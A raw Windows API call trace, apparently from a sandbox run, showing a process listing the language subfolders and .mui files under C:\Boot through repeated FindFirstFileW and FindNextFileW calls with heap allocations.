	[0066.231] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.231] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.231] FindClose (in: hFindFile=0x812088 | out: hFindFile=0x812088) returned 1
	[0066.231] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.231] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1
	[0066.232] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.232] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x812088
	[0066.232] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.232] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.232] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0066.232] FindClose (in: hFindFile=0x812088 | out: hFindFile=0x812088) returned 1
	[0066.232] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.232] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0066.232] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.233] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0066.233] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.233] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.233] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.233] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.233] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0066.234] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.234] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0066.234] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.234] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b88
	[0066.234] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.234] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.234] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.234] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.234] FindClose (in: hFindFile=0x811b88 | out: hFindFile=0x811b88) returned 1
	[0066.234] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.234] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0066.234] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.234] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b48
	[0066.235] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.235] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.235] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0066.235] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0066.235] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.235] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0066.235] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0066.235] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.236] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8119c8
	[0066.236] FindNextFileW (in: hFindFile=0x8119c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.236] FindNextFileW (in: hFindFile=0x8119c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.236] FindNextFileW (in: hFindFile=0x8119c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.237] FindNextFileW (in: hFindFile=0x8119c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.237] FindClose (in: hFindFile=0x8119c8 | out: hFindFile=0x8119c8) returned 1
	[0066.237] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.237] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0066.237] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.237] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811b48
	[0066.237] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.237] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.237] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.237] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.237] FindClose (in: hFindFile=0x811b48 | out: hFindFile=0x811b48) returned 1
	[0066.237] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.237] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0066.238] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.238] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811ec8
	[0066.311] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.311] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.311] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
